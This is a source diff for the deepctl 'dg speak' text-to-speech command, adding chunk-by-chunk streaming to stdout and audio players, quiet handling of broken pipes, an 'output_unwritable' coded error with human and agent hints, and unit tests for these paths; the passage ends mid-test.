 from __future__ import annotations
 
 import io
+import os
 import shutil
 import struct
 import subprocess
 import sys
 import tempfile
+import threading
 import time
 import wave
-from contextlib import contextmanager, suppress
+from contextlib import contextmanager, nullcontext, suppress
 from pathlib import Path
 from typing import IO, TYPE_CHECKING, Any
 
@@ -24,12 +26,19 @@
     get_output_format,
     get_status_console,
 )
-from deepctl_core.output import print_warning
+from deepctl_core.output import (
+    _agentic,
+    is_ai_agent,
+    print_error,
+    print_hint,
+    print_warning,
+)
 from rich.console import Console
 from rich.markup import escape
 from rich.table import Table
 
-from .models import SpeakResult, SpeakVoicesResult, VoiceInfo
+from . import messages as msg
+from .models import SpeakCodedError, SpeakResult, SpeakVoicesResult, VoiceInfo
 
 if TYPE_CHECKING:
     from collections.abc import Iterator
@@ -226,6 +235,107 @@ def _play_audio(player: str, audio: bytes, *, suffix: str) -> None:
         sink.write(audio)
 
 
+def _prog() -> str:
+    """The program name to show in messages and ``next_step``.
+
+    The bare name when it resolves on PATH to the running executable;
+    otherwise ``dg``.
+    """
+    try:
+        argv0 = sys.argv[0]
+        name = os.path.basename(argv0)
+        if name in ("dg", "deepgram", "deepctl"):
+            found = shutil.which(name)
+            if found and os.path.realpath(found) == os.path.realpath(argv0):
+                return name
+    except Exception:
+        pass
+    return "dg"
+
+
+def _silence_stdout() -> None:
+    """Point fd 1 at the null device, so buffered output and later writes,
+    including the flush at exit, succeed quietly. Used once the reader of
+    stdout went away (EPIPE) or stdout can't be written (ENOSPC, EIO)."""
+    try:
+        devnull = os.open(os.devnull, os.O_WRONLY)
+        os.dup2(devnull, 1)
+        os.close(devnull)
+    except OSError:
+        pass
+
+
+def _os_error_text(exc: OSError) -> str:
+    """The OS error text for a message: printable, one line, bounded."""
+    text = exc.strerror or str(exc) or exc.__class__.__name__
+    return "".join(ch if ch.isprintable() else " " for ch in text).strip()[:200]
+
+
+#: Longest wait for an audio stream to close: a WebSocket closing handshake
+#: the server doesn't answer (Ctrl-C mid-stream) must not hold up the exit.
+_CLOSE_TIMEOUT_S = 2.0
+
+
+def _close(*streams: object, timeout: float = _CLOSE_TIMEOUT_S) -> None:
+    """Close audio iterators (and the responses behind them), quietly and in
+    order, and wait at most ``timeout`` seconds for all of them together."""
+    closes = [c for c in (getattr(s, "close", None) for s in streams) if c]
+    if not closes:
+        return
+
+    def run() -> None:
+        for close in closes:
+            with suppress(BaseException):
+                close()
+
+    closer = threading.Thread(target=run, name="deepctl-speak-close", daemon=True)
+    closer.start()
+    closer.join(timeout)
+
+
+def _coded(
+    text: str,
+    *,
+    code: str,
+    hint_human: str,
+    hint_agent: str,
+    next_step: str | None = None,
+    details: dict[str, Any] | None = None,
+) -> SpeakCodedError:
+    """Report a coded failure on stderr (two lines) and return its envelope."""
+    hint = hint_agent if (_agentic or is_ai_agent()) else hint_human
+    print_error(escape(text))
+    print_hint(escape(hint))
+    return SpeakCodedError(
+        error=text, code=code, hint=hint, next_step=next_step, details=details
+    )
+
+
+def _output_unwritable(exc: OSError, *, path: str) -> SpeakCodedError:
+    """``output_unwritable`` for a failed write to ``path`` (``-`` = stdout)."""
+    reason = _os_error_text(exc)
+    return _coded(
+        msg.E_OUTPUT_UNWRITABLE.format(
+            output="stdout" if path == "-" else path, reason=reason
+        ),
+        code=msg.CODE_OUTPUT_UNWRITABLE,
+        hint_human=msg.H_OUTPUT_UNWRITABLE,
+        hint_agent=msg.A_OUTPUT_UNWRITABLE.format(prog=_prog(), reason=reason),
+        details={"path": path, "reason": reason},
+    )
+
+
+def _stdout_unwritable(exc: OSError) -> SpeakCodedError:
+    """stdout failed (not EPIPE): silence fd 1 first, so the envelope goes
+    to stderr only and the flush at exit can't fail again."""
+    _silence_stdout()
+    return _output_unwritable(exc, path="-")
+
+
+class _NoAudio(Exception):
+    """The stream ended without a single audio byte."""
+
+
 def _fail(message: str) -> BaseResult:
     """An error result whose message the user actually sees.
 
@@ -512,7 +622,7 @@ def handle(
         auth_manager: AuthManager,
         client: DeepgramClient,
         **kwargs: Any,
-    ) -> BaseResult | None:
+    ) -> BaseResult | SpeakCodedError | None:
         text = kwargs.get("text")
         output_path = kwargs.get("output")
         model = kwargs.get("model") or _DEFAULT_MODEL
@@ -675,9 +785,12 @@ def handle(
                             except BrokenPipeError:
                                 # The player exited first (ffplay's "q", for
                                 # instance). That is the user stopping
-                                # playback, not a failure — but keep draining
-                                # the stream so a -o file is still complete.
+                                # playback, not a failure. With -o, keep
+                                # draining so the file is still complete;
+                                # otherwise stop and close the stream.
                                 player_gone = True
+                                if not output_path:
+                                    break
 
                         if output_path and pcm:
                             # Save before waiting on the player (that wait
@@ -694,6 +807,8 @@ def handle(
                     raise
                 except Exception as e:
                     raise click.ClickException(f"Flux streaming failed: {e}")
+                finally:
+                    _close(stream)
 
                 if prog.total == 0:
                     raise click.ClickException(
@@ -786,26 +901,22 @@ def handle(
             # "streaming by default"). For linear16 we emit a streaming WAV
             # header before the first frame so `| ffplay -` plays with no
             # extra flags; raw mulaw/alaw stream as-is.
-            out = sys.stdout.buffer
-            wrote_header = False
+            header = (
+                _streaming_wav_header(sample_rate=int(eff_sample_rate))
+                if eff_encoding == "linear16"
+                else b""
+            )
             try:
-                for chunk in stream:
-                    if not chunk:
-                        continue
-                    # stdout now carries audio: a later failure is reported
-                    # on stderr only, never as JSON after the audio.
-                    self.stdout_is_protocol = True
-                    if eff_encoding == "linear16" and not wrote_header:
-                        out.write(
-                            _streaming_wav_header(sample_rate=int(eff_sample_rate))
-                        )
-                        wrote_header = True
-                    out.write(chunk)
-                    out.flush()
+                _, outcome = self._stream_to_stdout(stream, header=header)
             except click.ClickException:
                 raise
             except Exception as e:
                 raise click.ClickException(f"Flux streaming failed: {e}")
+            finally:
+                _close(stream)
+            if outcome is not True:
+                # The reader went away (quiet, exit 0) or stdout failed.
+                return outcome or None
 
             if prog.total == 0:
                 # Guard before anything is written: the header is only emitted
@@ -826,9 +937,10 @@ def handle(
             return None
 
         # REST path (Speak v1, including Aura and unknown-model pass-through).
+        # Each chunk goes on as the SDK yields it: to stdout (flushed), or to
+        # a stdin-reading player, so neither waits for the whole utterance.
+        console.print(f"[blue]Generating speech with {model}...[/blue]")
         try:
-            console.print(f"[blue]Generating speech with {model}...[/blue]")
-
             audio_iter = client.speak_text(
                 text=text,
                 model=model,
@@ -836,51 +948,26 @@ def handle(
                 container=container,
                 sample_rate=sample_rate,
             )
+        except Exception as e:
+            raise click.ClickException(f"Error generating speech: {e}")
 
-            total_bytes = 0
-
-            if player:
-                # Playback needs the full utterance, so buffer it. When -o is
-                # also given, save the same bytes to the file too.
-                audio = bytearray()
-                for chunk in audio_iter:
-                    audio.extend(chunk)
-                audio_bytes = bytes(audio)
-                total_bytes = len(audio_bytes)
-
-                if not audio_bytes:
-                    return _fail("TTS returned no audio.")
-
-                if output_path:
-                    Path(output_path).write_bytes(audio_bytes)
-                    console.print(
-                        f"[green]Audio saved to {output_path}[/green] "
-                        f"({total_bytes:,} bytes)"
-                    )
-
-                suffix = _play_suffix(
-                    is_flux=False, encoding=encoding, container=container
-                )
-                console.print(f"[blue]Playing audio ({player})...[/blue]")
-                _play_audio(player, audio_bytes, suffix=suffix)
-
-                message = (
-                    f"Audio saved to {output_path}"
-                    if output_path
-                    else f"Played {total_bytes:,} bytes"
+        try:
+            if player in _STDIN_PLAYER_ARGV:
+                return self._v1_play_streaming(
+                    audio_iter, player=player, output_path=output_path, model=model
                 )
-                return SpeakResult(
-                    status="success",
-                    message=message,
-                    output_path=output_path or "",
+            if player:
+                return self._v1_play_buffered(
+                    audio_iter,
+                    player=player,
+                    output_path=output_path,
                     model=model,
-                    bytes_written=total_bytes,
-                    played=True,
+                    encoding=encoding,
+                    container=container,
                 )
-            elif output_path:
-                # Write to file
-                out = Path(output_path)
-                with open(out, "wb") as f:
+            if output_path:
+                total_bytes = 0
+                with open(Path(output_path), "wb") as f:
                     for chunk in audio_iter:
                         f.write(chunk)
                         total_bytes += len(chunk)
@@ -888,7 +975,6 @@ def handle(
                 console.print(
                     f"[green]Audio saved to {output_path}[/green] ({total_bytes:,} bytes)"
                 )
-
                 return SpeakResult(
                     status="success",
                     message=f"Audio saved to {output_path}",
@@ -896,23 +982,17 @@ def handle(
                     model=model,
                     bytes_written=total_bytes,
                 )
-            else:
-                # Write to stdout (piping)
-                stdout_buffer = sys.stdout.buffer
-                for chunk in audio_iter:
-                    # stdout now carries audio: a later failure is reported
-                    # on stderr only, never as JSON after the audio.
-                    self.stdout_is_protocol = True
-                    stdout_buffer.write(chunk)
-                    total_bytes += len(chunk)
-                stdout_buffer.flush()
-
-                console.print(f"[green]✓ Wrote {total_bytes:,} bytes to stdout[/green]")
-                # Return None so the framework skips output_result — otherwise
-                # agentic/CI (or --output json) mode serializes JSON onto the
-                # same stdout as the audio, corrupting a `> out` redirect. The
-                # summary above went to the stderr console.
-                return None
+
+            total_bytes, outcome = self._stream_to_stdout(audio_iter)
+            if outcome is not True:
+                # The reader went away (quiet, exit 0) or stdout failed.
+                return outcome or None
+            console.print(f"[green]✓ Wrote {total_bytes:,} bytes to stdout[/green]")
+            # Return None so the framework skips output_result — otherwise
+            # agentic/CI (or --output json) mode serializes JSON onto the
+            # same stdout as the audio, corrupting a `> out` redirect. The
+            # summary above went to the stderr console.
+            return None
 
         except click.ClickException:
             raise
@@ -922,6 +1002,186 @@ def handle(
             # still exits 0. Reachable now that unknown models (e.g. a bare
             # "flux" typo) route here instead of the raising v2 path.
             raise click.ClickException(f"Error generating speech: {e}")
+        finally:
+            _close(audio_iter)
+
+    def _stream_to_stdout(
+        self, stream: Iterator[bytes], *, header: bytes = b""
+    ) -> tuple[int, SpeakCodedError | bool]:
+        """Write each chunk to stdout and flush it as it arrives.
+
+        ``header`` goes out just before the first chunk, so a stream with no
+        audio writes nothing. Returns the audio bytes written and ``True``
+        when the stream ran to its end; ``False`` when the reader of stdout
+        went away (EPIPE: fd 1 now points at the null device and the caller
+        ends quietly); or the ``output_unwritable`` envelope when the write
+        failed (ENOSPC, EIO, ...). Errors from the stream itself propagate.
+        """
+        out = sys.stdout.buffer
+        total = 0
+        for chunk in stream:
+            if not chunk:
+                continue
+            # stdout now carries audio: a later failure is reported on
+            # stderr only, never as JSON after the audio.
+            self.stdout_is_protocol = True
+            try:
+                if header:
+                    out.write(header)
+                    header = b""
+                out.write(chunk)
+                out.flush()
+            except BrokenPipeError:
+                _silence_stdout()
+                return total, False
+            except OSError as exc:
+                return total, _stdout_unwritable(exc)
+            total += len(chunk)
+        return total, True
+
+    def _v1_play_streaming(
+        self,
+        audio_iter: Iterator[bytes],
+        *,
+        player: str,
+        output_path: str | None,
+        model: str,
+    ) -> BaseResult:
+        """Speak v1 into a stdin-reading player, chunk by chunk.
+
+        The player is started before the request, so sound starts as the
+        first chunk arrives. With -o, every chunk also goes to the file.
+        """
+        console.print(f"[blue]Playing audio ({player})...[/blue]")
+        total = 0
+        player_gone = False
+        try:
+            with (
+                _player_stdin(player) as sink,
+                open(Path(output_path), "wb")
+                if output_path
+                else nullcontext() as saved,
+            ):
+                for chunk in audio_iter:
+                    if not chunk:
+                        continue
+                    total += len(chunk)
+                    if saved is not None:
+                        saved.write(chunk)
+                    if player_gone:
+                        continue
+                    try:
+                        sink.write(chunk)
+                        sink.flush()
+                    except BrokenPipeError:
+                        # The user stopped playback (ffplay's "q"). With -o,
+                        # keep draining so the file is complete; otherwise
+                        # stop and close the response.
+                        player_gone = True
+                        if saved is None:
+                            break
+                if not total:
+                    # Kill the player rather than hand it an empty stream.
+                    raise _NoAudio
+        except _NoAudio:
+            return _fail("TTS returned no audio.")
+
+        if output_path:
+            console.print(
+                f"[green]Audio saved to {output_path}[/green] ({total:,} bytes)"
+            )
+        return SpeakResult(
+            status="success",
+            message=(
+                f"Audio saved to {output_path}"
+                if output_path
+                else f"Played {total:,} bytes"
+            ),
+            output_path=output_path or "",
+            model=model,
+            bytes_written=total,
+            played=True,
+        )
+
+    def _v1_play_buffered(
+        self,
+        audio_iter: Iterator[bytes],
+        *,
+        player: str,
+        output_path: str | None,
+        model: str,
+        encoding: str | None,
+        container: str | None,
+    ) -> BaseResult:
+        """Speak v1 into a player that has no stdin mode (afplay).
+
+        It is handed a complete temp file, so the utterance is buffered.
+        """
+        audio = bytearray()
+        for chunk in audio_iter:
+            audio.extend(chunk)
+        audio_bytes = bytes(audio)
+        total_bytes = len(audio_bytes)
+
+        if not audio_bytes:
+            return _fail("TTS returned no audio.")
+
+        if output_path:
+            Path(output_path).write_bytes(audio_bytes)
+            console.print(
+                f"[green]Audio saved to {output_path}[/green] ({total_bytes:,} bytes)"
+            )
+
+        suffix = _play_suffix(is_flux=False, encoding=encoding, container=container)
+        console.print(f"[blue]Playing audio ({player})...[/blue]")
+        _play_audio(player, audio_bytes, suffix=suffix)
+
+        return SpeakResult(
+            status="success",
+            message=(
+                f"Audio saved to {output_path}"
+                if output_path
+                else f"Played {total_bytes:,} bytes"
+            ),
+            output_path=output_path or "",
+            model=model,
+            bytes_written=total_bytes,
+            played=True,
+        )
+
+    # ── Result on stdout ──────────────────────────────────────────────
+
+    #: Writing the result to stdout failed; the run exits 1.
+    _output_failed: bool = False
+
+    def output_result(self, result: Any, config: Config) -> None:
+        """Write the result; a stdout that can't take it is
+        ``output_unwritable`` (exit 1), never an exit-time "Exception
+        ignored"."""
+        try:
+            super().output_result(result, config)
+            if result is not None:
+                sys.stdout.flush()
+        except BrokenPipeError:
+            _silence_stdout()
+        except SystemExit as exc:
+            # rich handles EPIPE itself: it points stdout at the null device
+            # and raises SystemExit(1). The reader went away, which ends the
+            # run quietly with 0, as the streaming paths do.
+            if not isinstance(exc.__context__, BrokenPipeError):
+                raise
+            _silence_stdout()
+        except OSError as exc:
+            _silence_stdout()
+            if isinstance(result, SpeakCodedError):
+                return  # already reported on stderr; it exits 1 anyway
+            _output_unwritable(exc, path="-")
+            self._output_failed = True
+
+    def exit_code_for(self, result: Any) -> int:
+        if self._output_failed:
+            return 1
+        return super().exit_code_for(result)
 
     def _list_voices(self, client: DeepgramClient) -> BaseResult:
         """List available TTS voices as a table (mirrors `dg models`)."""
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
new file mode 100644
index 00000000..87f606a2
--- /dev/null
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
@@ -0,0 +1,24 @@
+"""User-facing strings for ``dg speak``, keyed by message ID.
+
+Every ID and string matches the error catalogue (``error_codes.json``)
+exactly; the attribute name is the ID with ``-`` as ``_``.
+"""
+
+from __future__ import annotations
+
+# ── Catalogue ──────────────────────────────────────────────────────────────
+
+CODE_OUTPUT_UNWRITABLE = "output_unwritable"
+
+# output_unwritable: a write to stdout or the audio file failed.
+# {reason} is details.reason: an OS error text or one of dg's own (sinks.py).
+E_OUTPUT_UNWRITABLE = "Couldn't write the output to {output}: {reason}."
+H_OUTPUT_UNWRITABLE = (
+    "Choose another destination, or fix this one (free space, permissions), "
+    "then try again."
+)
+A_OUTPUT_UNWRITABLE = (
+    "If you chose this destination, choose another one. Otherwise tell the "
+    "user {prog} couldn't write its output ({reason}), and don't retry until "
+    "it's fixed."
+)
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/models.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/models.py
index 45dcad25..c865da4d 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/models.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/models.py
@@ -2,7 +2,9 @@
 
 from __future__ import annotations
 
-from deepctl_core import BaseResult
+from typing import Any
+
+from deepctl_core import BaseResult, CodedErrorResult
 from pydantic import BaseModel, Field
 
 
@@ -23,3 +25,20 @@ class VoiceInfo(BaseModel):
 class SpeakVoicesResult(BaseResult):
     voices: list[VoiceInfo] = Field(default_factory=list)
     count: int = 0
+
+
+class SpeakCodedError(CodedErrorResult):
+    """A coded error from ``dg speak``, keys in the catalogue's order.
+
+    ``details`` is left out of the payload when there are none.
+    """
+
+    next_step: str | None = None
+    schema_version: int = 1
+    details: dict[str, Any] | None = None
+
+    def model_dump(self, **kwargs: Any) -> dict[str, Any]:
+        data = super().model_dump(**kwargs)
+        if data.get("details") is None:
+            data.pop("details", None)
+        return data
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
index df476f88..640d3bce 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
@@ -6,7 +6,7 @@
 import wave
 from contextlib import contextmanager
 from pathlib import Path
-from unittest.mock import Mock, patch
+from unittest.mock import Mock, call, patch
 
 import click
 import pytest
@@ -905,9 +905,13 @@ def test_handle_write_to_stdout(
 
         assert result is None
 
-        mock_stdout_buffer.write.assert_any_call(b"chunk1")
-        mock_stdout_buffer.write.assert_any_call(b"chunk2")
-        mock_stdout_buffer.flush.assert_called_once()
+        # Each chunk is flushed as it arrives, not once at the end.
+        assert mock_stdout_buffer.mock_calls == [
+            call.write(b"chunk1"),
+            call.flush(),
+            call.write(b"chunk2"),
+            call.flush(),
+        ]
 
     # ── --list-voices ────────────────────────────────────────────────
 
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
new file mode 100644
index 00000000..9d5087ba
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
@@ -0,0 +1,59 @@
+"""The speak modules import no network stack at module level.
+
+The speak package's copy of ``tests/unit/test_command_imports.py``, which
+runs the same check for every built-in command. ``dg speak --help`` imports these modules, so
+a module-level ``asyncio``, ``ssl``, ``httpx``, ``websockets`` or SDK
+import would be paid by every help and every run.
+"""
+
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+from typing import TYPE_CHECKING
+
+import pytest
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+FORBIDDEN = ("asyncio", "ssl", "httpx", "websockets", "deepgram")
+
+CHECK = (
+    "import importlib, sys; importlib.import_module(sys.argv[1]); "
+    "bad = sorted({m for m in sys.modules for f in sys.argv[2:] "
+    "if m == f or m.startswith(f + '.')}); "
+    "print(' '.join(bad)); sys.exit(1 if bad else 0)"
+)
+
+
+def _env(tmp_path: Path) -> dict[str, str]:
+    env = {
+        k: v for k, v in os.environ.items() if not k.startswith(("DEEPGRAM_", "PYTHON"))
+    }
+    env.update(
+        HOME=str(tmp_path),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+    )
+    return env
+
+
+@pytest.mark.parametrize(
+    "module",
+    [
+        "deepctl_cmd_speak.command",
+        "deepctl_cmd_speak.messages",
+        "deepctl_cmd_speak.models",
+    ],
+)
+def test_speak_module_imports_no_network_stack(module: str, tmp_path: Path) -> None:
+    proc = subprocess.run(
+        [sys.executable, "-c", CHECK, module, *FORBIDDEN],
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        timeout=120,
+    )
+    assert proc.returncode == 0, f"{module} imports: {proc.stdout}{proc.stderr[-1500:]}"
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_streaming.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_streaming.py
new file mode 100644
index 00000000..e122c93e
--- /dev/null
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_streaming.py
@@ -0,0 +1,406 @@
+"""Streaming audio to stdout and players as it arrives.
+
+Also the stdout failure modes: EPIPE ends quietly, any other write error
+is ``output_unwritable`` with fd 1 silenced.
+"""
+
+from __future__ import annotations
+
+import errno
+from contextlib import contextmanager
+from typing import Any
+from unittest.mock import Mock, patch
+
+import pytest
+from deepctl_cmd_speak import command as speak
+from deepctl_cmd_speak.command import SpeakCommand
+from deepctl_cmd_speak.models import SpeakCodedError, SpeakResult
+from deepctl_core import AuthManager, Config, DeepgramClient
+
+
+class _Recorder:
+    """An event log shared by a fake stream, a fake stdout and a fake player."""
+
+    def __init__(self) -> None:
+        self.events: list[tuple[str, Any]] = []
+        self.closed = False
+
+
+class _Stream:
+    """An SDK-like audio iterator that logs each hand-out and its close()."""
+
+    def __init__(self, rec: _Recorder, chunks: list[bytes]) -> None:
+        self._rec = rec
+        self._chunks = list(chunks)
+
+    def __iter__(self) -> _Stream:
+        return self
+
+    def __next__(self) -> bytes:
+        if not self._chunks:
+            raise StopIteration
+        chunk = self._chunks.pop(0)
+        self._rec.events.append(("yield", chunk))
+        return chunk
+
+    def close(self) -> None:
+        self._rec.closed = True
+
+
+class _Sink:
+    """A file-like stdout/player stdin that logs writes and flushes."""
+
+    def __init__(self, rec: _Recorder, fail_on: int | None = None, exc=None) -> None:
+        self._rec = rec
+        self._fail_on = fail_on
+        self._exc = exc
+        self._writes = 0
+
+    def write(self, data: bytes) -> int:
+        self._writes += 1
+        if self._fail_on is not None and self._writes >= self._fail_on:
+            raise self._exc
+        self._rec.events.append(("write", data))
+        return len(data)
+
+    def flush(self) -> None:
+        self._rec.events.append(("flush", None))
+
+
+def _run(cmd: SpeakCommand, client: Mock, **kwargs: Any):
+    base = {
+        "text": "Hello",
+        "output": None,
+        "model": "aura-2-asteria-en",
+        "encoding": None,
+        "container": None,
+        "sample_rate": None,
+        "file": None,
+    }
+    base.update(kwargs)
+    return cmd.handle(
+        config=Mock(spec=Config),
+        auth_manager=Mock(spec=AuthManager),
+        client=client,
+        **base,
+    )
+
+
+@pytest.fixture
+def fake_sys():
+    with patch("deepctl_cmd_speak.command.sys") as mock_sys:
+        mock_sys.stdin.isatty.return_value = True
+        mock_sys.stdout.isatty.return_value = False
+        mock_sys.argv = ["dg", "speak", "Hello"]
+        yield mock_sys
+
+
+@pytest.fixture
+def silenced():
+    with patch("deepctl_cmd_speak.command._silence_stdout") as fn:
+        yield fn
+
+
+class TestV1ToStdout:
+    def test_each_chunk_is_written_and_flushed_before_the_next(self, fake_sys):
+        rec = _Recorder()
+        fake_sys.stdout.buffer = _Sink(rec)
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a", b"b", b"c"])
+
+        assert _run(SpeakCommand(), client) is None
+        assert rec.events == [
+            ("yield", b"a"),
+            ("write", b"a"),
+            ("flush", None),
+            ("yield", b"b"),
+            ("write", b"b"),
+            ("flush", None),
+            ("yield", b"c"),
+            ("write", b"c"),
+            ("flush", None),
+        ]
+        assert rec.closed
+
+    def test_epipe_stops_closes_the_response_and_ends_quietly(
+        self, fake_sys, silenced, capsys
+    ):
+        rec = _Recorder()
+        fake_sys.stdout.buffer = _Sink(rec, fail_on=2, exc=BrokenPipeError())
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a", b"b", b"c", b"d"])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client)
+
+        assert result is None
+        assert cmd.exit_code_for(result) == 0
+        # Stopped at the failed write: "c" and "d" were never requested.
+        assert [e for e in rec.events if e[0] == "yield"] == [
+            ("yield", b"a"),
+            ("yield", b"b"),
+        ]
+        assert rec.closed
+        silenced.assert_called_once()
+        assert "Error" not in capsys.readouterr().err
+
+    @pytest.mark.parametrize("err", [errno.ENOSPC, errno.EIO, errno.EFBIG])
+    def test_other_write_errors_are_output_unwritable(
+        self, fake_sys, silenced, capsys, err
+    ):
+        rec = _Recorder()
+        exc = OSError(err, __import__("os").strerror(err))
+        fake_sys.stdout.buffer = _Sink(rec, fail_on=1, exc=exc)
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a", b"b"])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client)
+
+        assert isinstance(result, SpeakCodedError)
+        assert cmd.exit_code_for(result) == 1
+        assert result.code == "output_unwritable"
+        assert result.next_step is None
+        assert result.details == {"path": "-", "reason": exc.strerror}
+        assert result.error == (f"Couldn't write the output to stdout: {exc.strerror}.")
+        assert rec.closed
+        # fd 1 is pointed at the null device before anything else is said,
+        # so the envelope can't land on stdout and the exit flush can't fail.
+        silenced.assert_called_once()
+        err_lines = [
+            line for line in capsys.readouterr().err.splitlines() if line.strip()
+        ]
+        assert any(result.error in line for line in err_lines)
+        assert any(result.hint in line for line in err_lines)
+        assert cmd.stdout_is_protocol is True
+
+    def test_error_text_is_sanitized(self, fake_sys, silenced):
+        rec = _Recorder()
+        exc = OSError(errno.EIO, "bad\x1b[31m\nthing" + "x" * 300)
+        fake_sys.stdout.buffer = _Sink(rec, fail_on=1, exc=exc)
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a"])
+
+        result = _run(SpeakCommand(), client)
+
+        reason = result.details["reason"]
+        assert "\x1b" not in reason and "\n" not in reason
+        assert len(reason) <= 200
+
+
+class TestFluxToStdout:
+    def test_header_then_each_frame_flushed(self, fake_sys):
+        rec = _Recorder()
+        fake_sys.stdout.buffer = _Sink(rec)
+        client = Mock(spec=DeepgramClient)
+        client.speak_text_stream.return_value = _Stream(rec, [b"\x01\x00", b"\x02\x00"])
+
+        assert _run(SpeakCommand(), client, model="flux-alexis-en") is None
+        writes = [e for e in rec.events if e[0] != "yield"]
+        assert writes[0][0] == "write" and writes[0][1][:4] == b"RIFF"
+        assert writes[1:] == [
+            ("write", b"\x01\x00"),
+            ("flush", None),
+            ("write", b"\x02\x00"),
+            ("flush", None),
+        ]
+
+    def test_enospc_is_output_unwritable(self, fake_sys, silenced):
+        rec = _Recorder()
+        exc = OSError(errno.ENOSPC, "No space left on device")
+        fake_sys.stdout.buffer = _Sink(rec, fail_on=1, exc=exc)
+        client = Mock(spec=DeepgramClient)
+        client.speak_text_stream.return_value = _Stream(rec, [b"\x01\x00"])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client, model="flux-alexis-en")
+
+        assert isinstance(result, SpeakCodedError)
+        assert result.code == "output_unwritable"
+        assert cmd.exit_code_for(result) == 1
+        silenced.assert_called_once()
+
+    def test_epipe_ends_quietly(self, fake_sys, silenced):
+        rec = _Recorder()
+        fake_sys.stdout.buffer = _Sink(rec, fail_on=1, exc=BrokenPipeError())
+        client = Mock(spec=DeepgramClient)
+        client.speak_text_stream.return_value = _Stream(rec, [b"\x01\x00", b"\x02"])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client, model="flux-alexis-en")
+
+        assert result is None
+        assert cmd.exit_code_for(result) == 0
+        silenced.assert_called_once()
+
+
+class TestV1Play:
+    @pytest.fixture
+    def player(self, monkeypatch):
+        """A stdin player that logs its start and every write."""
+        rec = _Recorder()
+        state: dict[str, Any] = {"fail_on": None}
+
+        @contextmanager
+        def fake_player_stdin(name):
+            rec.events.append(("spawn", name))
+            yield _Sink(rec, fail_on=state["fail_on"], exc=BrokenPipeError())
+            rec.events.append(("waited", name))
+
+        monkeypatch.setattr(speak, "_player_stdin", fake_player_stdin)
+        monkeypatch.setattr(speak, "_find_audio_player", lambda: "ffplay")
+        return rec, state
+
+    def test_player_starts_first_and_gets_each_chunk_as_it_arrives(
+        self, fake_sys, player
+    ):
+        rec, _ = player
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a", b"b"])
+
+        result = _run(SpeakCommand(), client, play=True, encoding="linear16")
+
+        assert isinstance(result, SpeakResult)
+        assert result.played is True
+        assert result.bytes_written == 2
+        assert rec.events == [
+            ("spawn", "ffplay"),
+            ("yield", b"a"),
+            ("write", b"a"),
+            ("flush", None),
+            ("yield", b"b"),
+            ("write", b"b"),
+            ("flush", None),
+            ("waited", "ffplay"),
+        ]
+        assert rec.closed
+
+    def test_player_quit_stops_and_closes_the_response(self, fake_sys, player):
+        rec, state = player
+        state["fail_on"] = 1
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [b"a", b"b", b"c"])
+
+        result = _run(SpeakCommand(), client, play=True, encoding="linear16")
+
+        assert isinstance(result, SpeakResult)
+        assert [e for e in rec.events if e[0] == "yield"] == [("yield", b"a")]
+        assert rec.closed
+
+    def test_no_audio_fails(self, fake_sys, player):
+        rec, _ = player
+        client = Mock(spec=DeepgramClient)
+        client.speak_text.return_value = _Stream(rec, [])
+        cmd = SpeakCommand()
+
+        result = _run(cmd, client, play=True, encoding="linear16")
+
+        assert result.status == "error"
+        assert "no audio" in result.message
+
+
+class TestResultOnStdout:
+    """The SpeakResult itself can't be written to stdout."""
+
+    def _result(self):
+        return SpeakResult(status="success", output_path="a.wav", bytes_written=3)
+
+    def test_full_stdout_is_output_unwritable_and_exits_1(self, silenced, capsys):
+        cmd = SpeakCommand()
+        with patch.object(
+            speak.BaseCommand,
+            "output_result",
+            side_effect=OSError(errno.ENOSPC, "No space left on device"),
+        ):
+            cmd.output_result(self._result(), Mock(spec=Config))
+        silenced.assert_called_once()
+        assert cmd.exit_code_for(self._result()) == 1
+        err = capsys.readouterr().err
+        assert "Couldn't write the output to stdout: No space left on device." in err
+
+    def test_epipe_on_the_result_is_quiet_and_exits_0(self):
+        """The real path: rich's own EPIPE handling under -o json, with the
+        reader of stdout already gone."""
+        import subprocess
+        import sys as _sys
+
+        code = (
+            "import sys\n"
+            "from deepctl_core.output import setup_output\n"
+            "setup_output('json')\n"
+            "from deepctl_cmd_speak.command import SpeakCommand\n"
+            "from deepctl_cmd_speak.models import SpeakResult\n"
+            "cmd = SpeakCommand()\n"
+            "r = SpeakResult(status='success', output_path='a.wav', message='x' * 70000)\n"
+            "cmd.output_result(r, None)\n"
+            "sys.stderr.write(f'RC={cmd.exit_code_for(r)}\\n')\n"
+        )
+        p = subprocess.Popen(
